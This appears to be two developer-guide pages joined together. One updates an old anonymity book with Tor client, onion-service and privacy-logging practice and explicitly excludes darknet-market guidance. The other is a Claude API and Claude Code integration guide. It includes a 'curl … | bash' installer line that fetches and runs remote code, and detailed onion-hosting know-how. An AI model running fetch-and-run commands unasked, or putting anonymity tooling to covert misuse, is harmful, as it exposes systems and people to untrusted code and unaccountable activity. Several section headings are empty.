Book says Reality in 2026
Install CanvasBlocker, User-Agent Switcher, Ghostery, Adblock Never add extensions to Tor Browser. Each one raises fingerprint entropy and shrinks your anonymity set. Tor Browser ships letterboxing and a uniform fingerprint by design — customizing it is self-defeating.
Use Chrome with ScriptNo/ScriptSafe/FlashControl Chrome is not an anonymity browser and never was. Flash reached EOL Dec 2020. Use Tor Browser, or Mullvad Browser (Tor Browser's fingerprint protections without the Tor network) for VPN use.
Manually configure NoScript per-site Per-site whitelists are themselves a fingerprint. Use the built-in Security Level (Standard / Safer / Safest) and nothing else. Since Tor Browser 15.0, NoScript also blocks WebAssembly at Safer/Safest; hand-editing javascript.options.wasm turns your level into "Custom" and makes you more unique.
Pay for a VPN anonymously, chain it with Tor VPN+Tor generally does not improve anonymity and often harms it. Use Tor's bridges + pluggable transports for censorship, not a VPN hop.
Use Bitcoin mixers (BitFog et al.) for anonymity Bitcoin is pseudonymous, not anonymous; chain analysis is a mature industry. Mixing now carries severe legal exposure — Samourai Wallet's founders were sentenced to 5 and 4 years (Nov 2025), even as OFAC delisted Tornado Cash in March 2025.
Generate keys at Brainwallet.org Brainwallets are catastrophically insecure and were mass-drained. Never generate key material in a web page.

Dead, renamed, or superseded

Book (2015) Status Modern equivalent
Torbutton, HTTPS Everywhere Merged into Tor Browser core; HTTPS Everywhere retired Jan 2023 Built-in Security Level + HTTPS-Only Mode
v2 .onion addresses (16 char) Removed from Tor, Oct 2021 v3 onions — 56 char, ed25519/SHA3
Shallot / Scallion (v2 vanity) Dead with v2 mkp224o (v3 ed25519 vanity)
TextSecure + RedPhone Merged into Signal (2015) Signal — PQXDH (2023) + SPQR "Triple Ratchet" (Oct 2025)
CryptoCat, Torchat, ChatSecure Discontinued / unmaintained SimpleX, Briar, Cwtch (metadata-resistant)
Tor Instant Messaging Bundle Cancelled — never shipped as above
TrueCrypt Discontinued 2014 VeraCrypt, LUKS2, BitLocker, FileVault
TorBirdy, Enigmail Discontinued 2020 Thunderbird built-in OpenPGP
Freenet + Frost + Fuqid Renamed Hyphanet (2023); front-ends abandoned Hyphanet, I2P, Nym mixnet
MultiBit, MultiSigna, most listed exchanges Defunct —
Darkcoin Renamed Dash (2015); PrivateSend is opt-in CoinJoin, not anonymity Monero if privacy is the actual requirement
Panopticlick Renamed EFF Cover Your Tracks
Skype Retired May 2025 Signal
Macchanger as a manual step MAC randomization is now default in iOS 14+, Android 10+, Windows 10+, NetworkManager (nothing to do)
Tor Browser Manual site Merged into the Support portal (Oct 2025) support.torproject.org

Missing entirely from the book — and now central

Qubes OS (compartmentalization by virtualization; Qubes-Whonix is the strongest widely-available desktop posture) · GrapheneOS (hardened Android) · Snowflake / WebTunnel / Conjure pluggable transports · Tor VPN Beta for Android (per-app Tor circuits, Cure53-audited April 2026 — still beta) · Arti (Rust Tor; arti 2.x binary, arti-client 0.x library) · Counter Galois Onion (CGO), Tor's new relay-crypto design (stable in Arti 2.5, June 2026) · Post-quantum crypto (NIST FIPS 203/204/205, Aug 2024) · Commercial spyware (Pegasus, Predator, Graphite) as the realistic high-end threat, answered by iOS Lockdown Mode / Android Advanced Protection · Data brokers and SDK-based location resale, which deanonymize at scale far more cheaply than any SIGINT program · SecureDrop / Hush Line for anonymous intake.

Also notable: Tails merged into the Tor Project in September 2024 — they are now one organization, and Tails releases are announced on the Tor blog.

Deliberately not modernized

The book's chapters on darknet-market escrow, "finalize early" tactics, evading law enforcement, and running hidden marketplaces are out of scope and intentionally left un-updated. They are operational crime guidance, not privacy engineering, and much of the surrounding ecosystem they describe (Silk Road 2.0, Agora, Blackbank, Sheep) was seized or exit-scammed within a year of publication. This guide covers the defensive and civil-liberties surface only: protecting users, journalists, and at-risk people from surveillance.

What the book got right, and still is

Worth preserving explicitly, because it's the durable part:


Setup

Running a local Tor client

Everything below assumes a Tor SOCKS5 proxy on 127.0.0.1:9050 (daemon) or 9150 (Tor Browser).

# macOS (Homebrew ships 0.4.9.14 as of 2026-10-20)
brew install tor && brew services start tor

# Debian / Ubuntu — distro security updates now carry 0.4.9.x; for the newest
# stable, use the Tor Project's own repo (deb.torproject.org, see Support portal)
sudo apt install tor && sudo systemctl enable --now tor

# MUST be 0.4.9 or newer — 0.4.8 and older no longer work on the network
tor --version

# Verify: should return {"IsTor":true,...}
curl -s --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/api/ip

--socks5-hostname (not --socks5) is load-bearing: it sends DNS resolution through the proxy. Plain --socks5 resolves DNS locally and leaks every hostname you visit to your resolver — a total anonymity failure that still looks like it's working.

Version cliff. Tor 0.4.8 reached end of life on 1 June 2026, and the Tor Project removed directory fields (TAP onion keys, family lines) that 0.4.8 needs, so 0.4.8-and-older clients and onion services stopped working after 1 September 2026. Any Docker image, embedded binary, or forgotten VPS running an older tor is now silently offline. Pin tor >= 0.4.9 in images and check tor --version in CI.

Node — routing requests through Tor

npm install socks-proxy-agent@10 axios

socks-proxy-agent 10.x is ESM-only and requires Node ≥ 20 (9.0 converted to ESM; 10.0 raised the Node floor). Projects still on CommonJS need import() or must stay on 8.x. It implements Node's http.Agent, so it works with anything built on http/https — axios, node-fetch, got:

import axios from "axios";
import { SocksProxyAgent } from "socks-proxy-agent";

// socks5h:// = resolve DNS at the proxy. socks5:// leaks DNS locally.
const agent = new SocksProxyAgent("socks5h://127.0.0.1:9050");

const { data } = await axios.get<{ IsTor: boolean; IP: string }>(
  "https://check.torproject.org/api/ip",
  { httpAgent: agent, httpsAgent: agent },
);
console.log(data.IsTor); // true

In socks-proxy-agent, the scheme decides where DNS happens: socks5h:// and bare socks:// resolve at the proxy; socks5:// and socks4:// resolve locally. Always write socks5h:// explicitly.

Native fetch — use undici's dispatcher, never agent

Node's native fetch silently ignores agent. It is undici, which only honours a dispatcher. Passing { agent } does not error — it just sends the request over your real IP. Node 24's built-in env-proxy support (NODE_USE_ENV_PROXY / --use-env-proxy) covers HTTP(S) proxies only, not SOCKS, so it cannot route through Tor either.

undici (npm, ≥ 7.23) now ships Socks5ProxyAgent, marked Stability: 1 – Experimental (it prints an ExperimentalWarning):

import { fetch, Socks5ProxyAgent } from "undici";

// NOTE: undici accepts only socks5:// or socks:// (it rejects socks5h://),
// and ALWAYS sends the hostname to the proxy — DNS is resolved by Tor.
const tor = new Socks5ProxyAgent("socks5://127.0.0.1:9050");

const res = await fetch("https://check.torproject.org/api/ip", { dispatcher: tor });
const body = (await res.json()) as { IsTor: boolean };
if (!body.IsTor) throw new Error("Refusing to proceed: traffic is not over Tor");

The two libraries spell remote DNS differently — socks5h:// for socks-proxy-agent/curl/requests, socks5:// for undici — so a blanket rg 'socks5://' lint will flag undici correctly-configured code. Prefer one egress library per codebase (default: socks-proxy-agent + axios, which is stable) and scope the lint accordingly.

Fail closed, so a misconfiguration can never fall back to a direct connection:

import axios from "axios";
import type { SocksProxyAgent } from "socks-proxy-agent";

export async function assertTor(agent: SocksProxyAgent): Promise<void> {
  const { data } = await axios.get<{ IsTor: boolean }>(
    "https://check.torproject.org/api/ip",
    { httpAgent: agent, httpsAgent: agent, timeout: 15_000 },
  );
  if (!data.IsTor) throw new Error("Refusing to proceed: traffic is not over Tor");
}

A runnable, type-checked version lives in examples/tor-egress/.

Python — controller access with Stem

stem is the Tor Project's controller library — use it to build circuits, rotate identity, and publish onion services programmatically. Its own site now says Stem is "mostly unmaintained" (last release 1.8.2, June 2023). The control-port protocol it speaks is stable, so it still works for basic tasks like NEWNYM, but don't build new long-lived infrastructure on it; Arti's RPC interface is where the Tor Project is investing.

pip install stem pysocks "requests[socks]"
import requests
from stem import Signal
from stem.control import Controller

# socks5h:// -> DNS resolved by Tor, not locally
PROXIES = {"http": "socks5h://127.0.0.1:9050",
           "https": "socks5h://127.0.0.1:9050"}

print(requests.get("https://check.torproject.org/api/ip", proxies=PROXIES).json())

# Request a fresh circuit (rate-limited by Tor to roughly one per 10s)
with Controller.from_port(port=9051) as c:
    c.authenticate()               # cookie auth by default
    c.signal(Signal.NEWNYM)

NEWNYM gives you a new circuit, not a new identity. Cookies, local storage, a logged-in session, and browser fingerprint all survive it. Treat it as changing your exit IP and nothing more.

Publishing a v3 onion service

Onion services give both parties anonymity and provide authenticated, end-to-end encrypted transport with no CA involved — the .onion address is the public key.

# /etc/tor/torrc
HiddenServiceDir /var/lib/tor/my_service/
HiddenServicePort 80 127.0.0.1:8080

# Proof-of-work DoS defense (C tor 0.4.8.1+; still opt-in, default 0)
HiddenServicePoWDefensesEnabled 1
# Optional tuning (defaults shown): rendezvous requests/sec and burst
# HiddenServicePoWQueueRate 250
# HiddenServicePoWQueueBurst 2500
# PoW needs the "pow" module, which is only compiled in with --enable-gpl
tor --list-modules        # expect: pow: yes

sudo systemctl reload tor
sudo cat /var/lib/tor/my_service/hostname   # -> <56-char>.onion

If tor --list-modules shows pow: no, the HiddenServicePoWDefensesEnabled line does nothing — distro builds vary, so check rather than assume.

The directory now holds hs_ed25519_secret_key, hs_ed25519_public_key, and hostname. hs_ed25519_secret_key is the identity — anyone who copies it can impersonate the service permanently. Back it up encrypted; never commit it; mode 0600, owned by the tor user.

Restrict access to named clients (formerly "client authorization", now restricted discovery) by dropping one public key per file into authorized_clients/:

# /var/lib/tor/my_service/authorized_clients/alice.auth  (one line per file)
descriptor:x25519:<BASE32_PUBKEY>

Bind the backend to loopback only (127.0.0.1:8080). An onion service whose origin is also reachable on a public IP is trivially correlated and defeats the entire construction — this is how several high-profile services were located.

Arti as the onion host. Arti can run onion services (onion-service-service feature) and Arti 1.7 added restricted discovery. It's the long-term direction, but arti-client is still pre-1.0 and Arti 2.7.0 shipped fixes for low-to-high-severity security issues "especially [for] those running onion services". For a production public service today, C tor 0.4.9 remains the conservative choice; track Arti release notes before switching.

Vanity addresses

Shallot and Scallion from the book only ever produced v2 addresses and are dead. The v3 tool is mkp224o (needs libsodium):

git clone https://github.com/cathugger/mkp224o && cd mkp224o
./autogen.sh && ./configure && make
./mkp224o -d ./out amani     # addresses beginning "amani"

Difficulty is exponential in prefix length — 6 characters is quick, 8 is hours, and beyond that is a research budget. A vanity prefix is branding, not security: users must still verify the full 56-character address.


Key patterns

Don't blanket-block Tor exit nodes

The most common way a product harms at-risk users is invisible: a WAF rule or a fraud vendor silently blocking every Tor exit. That locks out journalists, abuse survivors, and people under censorship — the exact users who need you most.

// Tier by ACTION, not by network origin.
// Tor traffic is not fraud; it is traffic whose origin you cannot see.
type Tier = "open" | "challenge" | "deny";

export function riskTier(req: Request, knownAbusive: boolean): Tier {
  if (req.method === "GET" || req.method === "HEAD") return "open"; // never block reading
  if (knownAbusive) return "deny";          // only for observed abusive patterns
  return "challenge";                       // mutations: proof-of-work / captcha
}

Rate-limit on a session or workload token, never on IP alone — IP-based limits punish everyone behind one exit node and are trivially evaded by anyone who matters.

Log hygiene — the leak that survives every other control

Most deanonymization risk in a normal SaaS lives in logs, not in the network.

/** Truncate IPs before they are ever written. IPv4 -> /24, IPv6 -> /48. */
export function coarseIp(ip: string): string {
  if (ip.includes(":")) return ip.split(":").slice(0, 3).join(":") + "::/48";
  return ip.split(".").slice(0, 3).join(".") + ".0/24";
}

const PII = /(\+?254\d{9})|([\w.+-]+@[\w-]+\.[\w.]+)|(\b[A-Z]{2}\d{6}\b)/g;
export const scrub = (s: string): string => s.replace(PII, "[redacted]");

Apply it at the boundary — Sentry beforeSend, the logger transport, and analytics — so no code path can bypass it.

Sentry SDK v11 inverted the privacy default. sendDefaultPii was removed and replaced by dataCollection. In v10 an unset sendDefaultPii was restrictive; in v11 an unset dataCollection collects everything — user info and IP inference, cookies, request/response headers and bodies, query params, DB query data, GenAI inputs/outputs, stack-frame local variables. Any project upgraded from v10 that simply deleted sendDefaultPii: false is now shipping PII. Set every category explicitly:

import * as Sentry from "@sentry/nextjs"; // 11.x

Sentry.init({
  dsn: process.env.SENTRY_DSN,
  // v11: replaces `sendDefaultPii: false`. Stricter than the v10 default.
  dataCollection: {
    userInfo: false,          // no user.* auto-fill, no IP inference
    cookies: false,
    httpHeaders: false,
    httpBodies: [],
    urlQueryParams: false,
    genAI: { inputs: false, outputs: false },
    databaseQueryData: false,
    queues: false,
    graphQL: { document: false, variables: false },
    stackFrameVariables: false,
  },
  beforeSend(event) {
    if (event.user) { delete event.user.ip_address; delete event.user.email; }
    return JSON.parse(scrub(JSON.stringify(event))) as typeof event;
  },
});

Timing and volume are identifiers

An "anonymous" report submitted at 14:03 from a clinic that has four staff is not anonymous. Where the anonymity set is small, add jitter and batching rather than delivering immediately:

// Release anonymous submissions on a fixed cadence so submission time
// carries no information about event time.
const BATCH_WINDOW_MS = 60 * 60 * 1000;
export const releaseAt = (t: number): number =>
  Math.ceil(t / BATCH_WINDOW_MS) * BATCH_WINDOW_MS;

Strip file metadata on upload

Photos carry GPS coordinates, device serials, and timestamps. For any user-supplied image, re-encode server-side and drop all EXIF — never trust the client to have done it.

import sharp from "sharp";
// sharp strips all metadata by default unless you call keepMetadata()/withMetadata();
// rotate() first so orientation survives the metadata loss.
export const sanitize = (buf: Buffer): Promise<Buffer> =>
  sharp(buf).rotate().toFormat("webp", { quality: 82 }).toBuffer();

For PDFs and office documents use mat2 (now maintained at github.com/jvoisin/mat2, 0.15.0) in a sandboxed worker.

Anonymous intake

For genuine whistleblower or abuse-report intake, do not roll your own. Use SecureDrop (onion-based, hardened, designed for newsrooms; 2.16.1 as of Jul 2026) or Hush Line (a managed tip-line service) for a lighter-weight option. A bespoke "anonymous form" on your main domain shares TLS fingerprints, CDN logs, and analytics with the rest of your product, and almost always leaks.


Recommending tools to users (Oct 2026)

When product copy or a help page has to point at-risk users somewhere, point them at maintained, primary sources:

Need Recommend Avoid
Anonymous browsing Tor Browser stable, unmodified, Security Level slider only Alpha channel for at-risk users (Tor's own warning); extensions
Fingerprint-resistant browsing on a VPN Mullvad Browser "Hardened" Chrome
Whole-device protection on Android in censored regions Tor VPN Beta (per-app circuits) — label it beta Commercial "free VPN" apps
Amnesic OS Tails 7.x (write the USB image, verify it; auto-upgrade from 7.0+) Tails Installer / DVD flows from old guides
Strongest desktop compartmentalization Qubes OS 4.3 + Whonix Single-OS "hardening" checklists
VPN (privacy, not anonymity) Privacy Guides' list: IVPN, Mullvad, Proton VPN VPN-then-Tor chains
Messaging Signal; SimpleX / Briar / Cwtch where phone-number linkage is the threat Telegram (not E2EE by default)
Censorship circumvention Tor bridges: Snowflake, WebTunnel, obfs4, Conjure A VPN hop in front of Tor

Mullvad note (Oct 2026). A political donation by a Mullvad co-founder prompted community pressure on the Tor Project. On 9 Oct 2026 Tor said it is continuing the technical collaboration (the Tor Project builds Mullvad Browser) but paused co-branding and revised endorsement language. This changes nothing about Mullvad Browser's technical properties; it's a values call for each organization recommending it. codeAmani's technical recommendation is unchanged.


codeAmani notes

Security

US-first defaults

codeAmani's customers are primarily in the US, where the realistic adversaries for most products are commercial surveillance (adtech, data brokers, SDK location resale) and civil subpoenas against us as the provider. That makes data minimization, short retention, zero third-party scripts and IP truncation the highest-value controls — far more than Tor integration. Payments stay on Stripe; never put a Stripe customer ID, PaymentIntent ID or email into logs or analytics events.

African-market and Kenya-targeted projects

This is where the guide earns its keep, because our Kenya-targeted builds collect precisely the identifiers that deanonymize:

AI routing

Where this guide fits


Scope statement. This guide covers defensive privacy engineering, censorship circumvention, and protection of at-risk users — journalists, abuse survivors, whistleblowers, and people under repressive governments. It deliberately excludes operational guidance for evading lawful investigation, and does not modernize the source book's darknet-marketplace chapters.

Official docs:

Anthropic Integration Guide

Technology: anthropic · Category: ai · Last reviewed: 2026-10-18

Source: https://tech-stack.codeamanilabs.org/guide/anthropic

Insight:

Claude is codeAmani's primary model for reasoning and code generation. claude-opus-5-5 ($4/$20 per MTok) is the default, and it is cheaper than the Opus 5 it replaces, so do not downgrade for cost without a measured reason. Step down to claude-sonnet-5-5 ($2/$10) for everyday volume and claude-haiku-5-5 ($0.10/$0.50 up to 100K-token prompts) for latency-sensitive bulk work; step up to claude-fable-5-1 ($10/$50) for frontier long-running agents. Opus 5.5 thinks on every request and defaults to effort medium: set output_config.effort explicitly, handle stop_reason: "refusal", and opt into fallbacks: "default". Call Claude through the Vercel AI SDK / AI Gateway (anthropic/... model strings) so provider swaps stay config, not code, and lean on prompt caching whenever a large system prompt or RAG context repeats across calls.

 █████╗ ███╗   ██╗████████╗██╗  ██╗██████╗  ██████╗ ██████╗ ██╗ ██████╗
██╔══██╗████╗  ██║╚══██╔══╝██║  ██║██╔══██╗██╔═══██╗██╔══██╗██║██╔════╝
███████║██╔██╗ ██║   ██║   ███████║██████╔╝██║   ██║██████╔╝██║██║
██╔══██║██║╚██╗██║   ██║   ██╔══██║██╔══██╗██║   ██║██╔═══╝ ██║██║
██║  ██║██║ ╚████║   ██║   ██║  ██║██║  ██║╚██████╔╝██║     ██║╚██████╗
╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═╝     ╚═╝ ╚═════╝

Anthropic Integration Guide

Focus: Using Anthropic's APIs, SDKs, and MCP tooling directly within Claude Code workflows and automation pipelines.

Overview

Anthropic is the company behind Claude and Claude Code itself. Integrating Anthropic's APIs into Claude Code lets you build AI-assisted workflows, automate code generation, chain Claude API calls inside hooks, and extend Claude Code with custom MCP servers — all using first-party tooling.

Here is the big picture of how these first-party pieces fit together — once you see the shape, everything below slots right in.

flowchart TD
  A["You · prompt or hook event"] --> B["Claude Code CLI"]
  B --> C["Anthropic SDK · messages.create"]
  C --> D["Claude API"]
  D --> E["Response · code, review, tests"]
  B --> F["MCP servers · custom tools"]
  F --> B
  B --> G["Automation · hooks and skills"]
  G --> C

Official Documentation

Resource URL
Claude API Docs https://platform.claude.com/docs/en/home
Claude Code Docs https://code.claude.com/docs
Models overview https://platform.claude.com/docs/en/models/overview
Migration guide https://platform.claude.com/docs/en/about-claude/models/migration-guide
Effort https://platform.claude.com/docs/en/build-with-claude/effort
Refusals and fallback https://platform.claude.com/docs/en/build-with-claude/refusals-and-fallback
Tool Runner https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-runner
Managed Agents https://platform.claude.com/docs/en/managed-agents/quickstart
Claude Agent SDK https://code.claude.com/docs/en/agent-sdk/overview
CLI, SDKs & libraries https://platform.claude.com/docs/en/cli-sdks-libraries/overview
Release notes https://platform.claude.com/docs/en/release-notes/overview
Help Center (accounts, billing, plans) https://support.claude.com/en
Model Context Protocol https://modelcontextprotocol.io
API Reference https://platform.claude.com/docs/en/api/overview
MCP SDK (TypeScript) https://github.com/modelcontextprotocol/typescript-sdk
MCP SDK (Python) https://github.com/modelcontextprotocol/python-sdk
MCP Bundles (mcpb) https://github.com/modelcontextprotocol/mcpb

Docs domain moved. Anthropic's developer docs now live at platform.claude.com/docs (the old docs.anthropic.com/... URLs 301-redirect there); the console is at platform.claude.com, status at status.claude.com, and pricing at claude.com/pricing. Claude Code docs stay at code.claude.com/docs.


MCP Server Setup

Claude Code as an MCP Server

Claude Code itself can act as a stdio MCP server, exposing its tools to other clients (for example Claude Desktop).

# Start Claude Code as an MCP server (stdio transport).
# It prints nothing on start: a silent terminal means it is waiting for a client.
claude mcp serve

To use it from another MCP client, register the command claude with args ["mcp", "serve"] in that client's config (see the .mcp.json shape below).

Packaging a Local MCP Server with @anthropic-ai/mcpb

@anthropic-ai/mcpb is the CLI for MCP Bundles (.mcpb, formerly .dxt): a zip of a local MCP server plus a manifest.json, installable with one click in Claude for macOS and Windows. It packages a server you already wrote; it does not register anything with Claude Code.

npm install -g @anthropic-ai/mcpb
cd my-server        # a folder containing your local MCP server
mcpb init           # interactive: writes manifest.json
mcpb pack           # produces my-server.mcpb
# Open the .mcpb file with Claude Desktop to get the install dialog.

For Claude Code, register the server directly with claude mcp add (below) or in .mcp.json.

.mcp.json Configuration

Create .mcp.json in your project root to share project-scoped MCP servers with your team. Claude Code asks each user to approve servers from this file before connecting:

{
  "mcpServers": {
    "anthropic-code": {
      "command": "claude",
      "args": ["mcp", "serve"],
      "env": {}
    }
  }
}

Claude Code CLI Integration

Installation

The native installer is the recommended path and auto-updates in the background:

# macOS / Linux / WSL
curl -fsSL https://claude.ai/install.sh | bash

# Windows (WinGet; does not auto-update, run `winget upgrade Anthropic.ClaudeCode`)
winget install Anthropic.ClaudeCode

# Homebrew (does not auto-update, run `brew upgrade claude-code`)
brew install --cask claude-code

The npm package still works and installs the same native binary (needs Node.js 22+; never sudo). Upgrade with npm install -g @anthropic-ai/claude-code@latest, not npm update -g:

npm install -g @anthropic-ai/claude-code

Key Commands

# Start interactive session
claude

# Run a one-shot prompt (non-interactive / headless)
claude -p "Explain the auth flow in src/auth.ts"

# Machine-readable output for scripts and CI
claude -p "Summarize this project" --output-format json | jq -r '.result'

# Run with a specific model (alias or full ID) and effort level
claude --model opus --effort high
claude --model claude-opus-5-5

# Continue the most recent session
claude --continue

# Pre-approve tools for a headless run
claude -p "Fix the TypeScript errors" --allowedTools "Bash,Edit,Read"

# Start as MCP server
claude mcp serve

# Manage MCP servers ("--" separates Claude's flags from the server command)
claude mcp add <name> -- <command> [args]
claude mcp add my-server -e API_KEY=placeholder -- npx my-mcp-server
claude mcp list
claude mcp remove <name>

# Add remote MCP server (HTTP transport)
claude mcp add --transport http my-server https://my-server.example.com/mcp

# Share a server with the team via .mcp.json
claude mcp add --scope project --transport http my-server https://my-server.example.com/mcp

--allowedTools pre-approves tools; to restrict which tools exist at all, use --tools "Bash,Edit,Read". Real secrets for -e come from Hazina or your shell, never from a committed file.


Anthropic SDK Integration

A single messages.create call is the heartbeat of every SDK example below — here is exactly what happens on each request.

sequenceDiagram
  participant App as "Your app or script"
  participant SDK as "Anthropic SDK"
  participant API as "Claude API"
  App->>SDK: "messages.create · model, max_tokens, messages"
  SDK->>API: "authenticated request · ANTHROPIC_API_KEY"
  API-->>SDK: "message · stop_reason + content blocks"
  SDK-->>App: "check stop_reason, then read text blocks"

Node.js / TypeScript

npm install @anthropic-ai/sdk
import Anthropic from "@anthropic-ai/sdk";

// Zero-arg constructor resolves ANTHROPIC_API_KEY, ANTHROPIC_AUTH_TOKEN,
// or an `ant auth login` profile — see Authentication below.
const client = new Anthropic();

const message = await client.messages.create({
  model: "claude-opus-5-5",
  max_tokens: 16000,
  messages: [{ role: "user", content: "Review this code for security issues." }],
});

// `content` is a discriminated union — narrow by `.type` before reading `.text`.
// On Opus 5.5 a response can begin with (empty) thinking blocks.
for (const block of message.content) {
  if (block.type === "text") console.log(block.text);
}

The TypeScript SDK is at @anthropic-ai/sdk 0.135.0. The messages.create shape above is stable across the 0.x line; newer features (fallbacks, between_tools, the Tool Runner) need a recent 0.13x release for the types.

Python

pip install anthropic
import anthropic

# Resolves ANTHROPIC_API_KEY, ANTHROPIC_AUTH_TOKEN, or an `ant auth login` profile.
client = anthropic.Anthropic()

message = client.messages.create(
    model="claude-opus-5-5",
    max_tokens=16000,
    messages=[{"role": "user", "content": "Generate unit tests for this function."}],
)

# Narrow by block type — thinking and tool_use blocks have no .text attribute.
for block in message.content:
    if block.type == "text":
        print(block.text)

The Python SDK is at anthropic 1.15.0 and requires Python 3.10+. The 0.x → 1.x break was the move to httpx 2 (see the SDK's MIGRATION.md); client.messages.create(...) usage is unchanged. Pin anthropic>=1,<2.


Models and Defaults

Model API ID $/MTok in / out Use at codeAmani
Claude Fable 5.1 claude-fable-5-1 $10 / $50 Frontier, long-horizon agents where correctness beats cost
Claude Opus 5.5 claude-opus-5-5 $4 / $20 Default: agentic coding, deep review, anything correctness-sensitive
Claude Sonnet 5.5 claude-sonnet-5-5 $2 / $10 Everyday volume once an eval shows quality holds
Claude Haiku 5.5 claude-haiku-5-5 $0.10 / $0.50 (prompts ≤100K), $0.50 / $2.50 above Classification, routing, extraction, sub-agents

All four have a 1M-token context and 128K max output. IDs are dateless pinned snapshots: never append a date suffix. Bedrock prefixes anthropic. (anthropic.claude-opus-5-5); Vertex, Foundry, and Claude Platform on AWS use the bare ID.

Older models still served: Fable 5, Opus 5 ($5/$25), Opus 4.8/4.7/4.6/4.5, Sonnet 5 ($2/$10), Sonnet 4.6, Haiku 4.5 (claude-haiku-4-5, 200K context, $1/$5). Move new work to the 5.5 / 5.1 line; Opus 5.5 is cheaper than Opus 5 per token and per solved task.


Thinking, Effort, and the Request Shape

Claude 5.x models reject several 4.x-era patterns with a 400. Per model:

Model Thinking Default effort Notes
claude-opus-5-5 Always on. Omit thinking or send { type: "adaptive" }. disabled and budget_tokens → 400 at every effort medium Forced tool_choice any/tool → 400; temperature/top_p/top_k → 400
claude-sonnet-5-5 Adaptive by default. disabled → 400; to turn thinking off send { type: "between_tools" } (no other fields, effort high or below) high (levels recalibrated) Forced tool_choice → 400; non-default sampling → 400
claude-haiku-5-5 Adaptive by default; disabled accepted at effort high or below medium budget_tokens, sampling params, prefill → 400
claude-fable-5-1 Always on; omit thinking high Forced tool_choice → 400; 30-day retention required (no ZDR unless authorized)

Assistant-message prefill is a 400 on every current model; shape output with output_config.format or a system instruction instead.

Effort is the dial that replaced budget_tokens, and it lives inside output_config, not at the top level:

const message = await client.messages.create({
  model: "claude-opus-5-5",
  max_tokens: 16000,
  thinking: { type: "adaptive", display: "summarized" },
  output_config: { effort: "high" }, // low | medium (default on Opus 5.5) | high | xhigh | max
  messages: [{ role: "user", content: "Refactor this module and explain why." }],
});
const message = await client.messages.create({
  model: "claude-sonnet-5-5",
  max_tokens: 16000,
  thinking: { type: "between_tools" }, // no other fields; effort high or below
  output_config: { effort: "low" },
  messages: [{ role: "user", content: "Classify this ticket: billing, bug, or feature." }],
});

max_tokens is a truncation cliff, not a cost control. Default to 16000 for non-streaming calls and 64000 when streaming. Thinking counts toward it. Current models support up to 128K output tokens, but the SDKs require streaming at that size to avoid HTTP timeouts.


Refusals and Fallbacks

Opus 5.5, Sonnet 5.5, Haiku 5.5, and Fable 5.1 run safety classifiers. A decline is HTTP 200 with stop_reason: "refusal" and a stop_details.category (cyber, bio, reasoning_extraction, frontier_llm, general_harms, or null). Always check stop_reason before reading content.

Opt into server-side fallback from day one so a false positive is not an outage. fallbacks: "default" lets Anthropic route the retry by refusal category, so you never maintain a model list:

const response = await client.beta.messages.create({
  model: "claude-opus-5-5",
  max_tokens: 16000,
  betas: ["server-side-fallback-2026-07-01"],
  fallbacks: "default", // Anthropic picks the fallback model by refusal category
  messages: [{ role: "user", content: "Summarize this incident report." }],
});

if (response.stop_reason === "refusal") {
  // The whole chain declined. stop_details is informational (category may be null).
  console.warn("declined:", response.stop_details?.category);
} else {
  for (const block of response.content) {
    if (block.type === "fallback") console.info(`${block.from.model} -> ${block.to.model}`);
    if (block.type === "text") console.log(block.text);
  }
}

Structured Outputs

When you need JSON that actually validates, constrain the response instead of parsing hopefully. Use output_config.format — the older top-level output_format parameter is deprecated:

const message = await client.messages.create({
  model: "claude-opus-5-5",
  max_tokens: 16000,
  output_config: {
    effort: "low",
    format: {
      type: "json_schema",
      schema: {
        type: "object",
        properties: {
          severity: { type: "string", enum: ["low", "medium", "high"] },
          summary: { type: "string" },
        },
        required: ["severity", "summary"],
        additionalProperties: false,
      },
    },
  },
  messages: [{ role: "user", content: "Triage this Sentry error: " + stackTrace }],
});

For tool arguments, set strict: true as a top-level field on the tool definition (not on tool_choice); the schema needs additionalProperties: false plus required. This is also the replacement for forced tool use, which is a 400 on Opus 5.5 / Sonnet 5.5 / Fable 5.1: use tool_choice: { type: "auto" }, name the tool in the prompt, and check that a tool_use block came back. Structured outputs are incompatible with document citations — sending both returns a 400.


Tool Use with the Tool Runner

Tool use is a loop (stop_reason: "tool_use" → run tools → send tool_result → repeat). The SDK's Tool Runner (beta, client.beta.messages.toolRunner) drives that loop for tools you define; prefer it over a hand-written loop. Full runnable versions of both live in examples/tool-use.ts.

import { betaZodTool } from "@anthropic-ai/sdk/helpers/beta/zod";
import { z } from "zod";

const getOrderStatus = betaZodTool({
  name: "get_order_status",
  description: "Look up a Stripe order by payment intent ID.",
  inputSchema: z.object({ payment_intent_id: z.string() }),
  run: async ({ payment_intent_id }) =>
    JSON.stringify({ id: payment_intent_id, status: "succeeded" }), // your executor
});

const finalMessage = await client.beta.messages.toolRunner({
  model: "claude-opus-5-5",
  max_tokens: 16000,
  tools: [getOrderStatus, { type: "web_search_20260209", name: "web_search", max_uses: 3 }],
  messages: [{ role: "user", content: "What's the status of payment pi_abc123?" }],
});

Managed Agents

The docs home leads with two developer surfaces: the Messages API (you own the loop) and Managed Agents (Anthropic runs the loop and hosts the sandbox where tools execute). Reach for Managed Agents when the alternative is writing your own scheduler, session store, and container runtime.

The flow is agent once → session per run. model, system, and tools live on the agent, never on the session; a session needs an existing agent and an environment:

// 1. Setup script, run once. Store agent.id / agent.version / environment.id.
const environment = await client.beta.environments.create({
  name: "reconcile-env",
  config: { type: "cloud", networking: { type: "limited", allow_package_managers: true } },
});

const agent = await client.beta.agents.create({
  name: "Payout Reconciler",
  model: "claude-opus-5-5",
  system: "You reconcile Stripe payout reports against our order ledger.",
  tools: [
    {
      type: "agent_toolset_20260401",
      default_config: { enabled: true, permission_policy: { type: "auto" } },
      configs: [
        { name: "web_fetch", enabled: false },
        { name: "web_search", enabled: false },
      ],
    },
  ],
});

// 2. Every run: start a session that references the stored IDs.
const session = await client.beta.sessions.create({
  agent: { type: "agent", id: agent.id, version: agent.version },
  environment_id: environment.id,
});

Three different things that sound alike. Agent Skills generate .pptx/.xlsx via container.skills on a normal messages.create. The Claude Agent SDK (@anthropic-ai/claude-agent-sdk) is Claude Code packaged as a library that you host. Only Managed Agents supplies both a managed harness and managed deployment.


Prompt Caching

